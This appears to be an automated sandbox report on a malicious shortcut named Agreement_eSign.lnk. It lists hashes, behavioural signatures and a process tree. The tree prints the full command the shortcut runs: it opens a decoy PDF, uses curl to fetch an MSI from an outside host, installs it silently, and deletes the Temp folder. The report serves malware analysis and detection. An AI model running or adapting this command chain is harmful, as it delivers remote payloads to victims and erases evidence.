Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    24-12-2024 17:19

General

  • Target

    Agreement_eSign.lnk

  • Size

    3KB

  • MD5

    1e98bde2c12668b383a15f66d71f6d0c

  • SHA1

    b0a96f44ca8109492285657118f35551c3266794

  • SHA256

    1703be0db351262d9a327e98aa9df4fd33ff58b41c7ea0c7eb4587853e2cca0f

  • SHA512

    fa30834bbd5711a7d1a454b427a1d314697dbef43adaf87ec32c54500c414af16df91ef2d462a2aa9f384a069b2bfb76f7a81c7a8726132f39fb211976caa17a

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Agreement_eSign.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start msedge https://www.wto.org/english/docs_e/legal_e/27-trips.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\82b377b2-9644-47c3-993b-d84cfb887a43.msi http://us5.info/upl/install.msi & C:\Users\Admin\AppData\Local\Temp\82b377b2-9644-47c3-993b-d84cfb887a43.msi /qn & del /q/f/s C:\Users\Admin\AppData\Local\Temp & exit
      2⤵
      • Deletes itself
      PID:2864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2864-46-0x00000000003A0000-0x00000000003A1000-memory.dmp

    Filesize

    4KB